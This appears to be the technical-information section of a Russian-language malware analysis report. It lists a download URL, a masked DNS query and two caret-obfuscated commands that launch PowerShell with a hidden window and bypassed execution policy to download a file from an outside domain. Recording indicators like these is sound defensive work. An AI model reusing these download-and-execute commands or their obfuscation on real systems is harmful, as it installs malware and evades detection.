Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "P^O^WeRs^HEll^.eXE ^-Ex^E^cuti^O^npO^L^iCy BY^pAsS -n^o^pROf^iLe -^winD^o^WST^Y^LE H^I^d^d^En^ (^N^eW^-ob^jEcT SYs^tem.^n^E^t^.W^eBclIENt).^Do^w^n^load^f^iL^e^('http://www.zo...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "P^O^WeRs^HEll^.eXE ^-Ex^E^cuti^O^npO^L^iCy BY^pAsS -n^o^pROf^iLe -^winD^o^WST^Y^LE H^I^d^d^En^ (^N^eW^-ob^jEcT SYs^tem.^n^E^t^.W^eBclIENt).^Do^w^n^load^f^iL^e^('http://www.zo...' (со скрытым окном)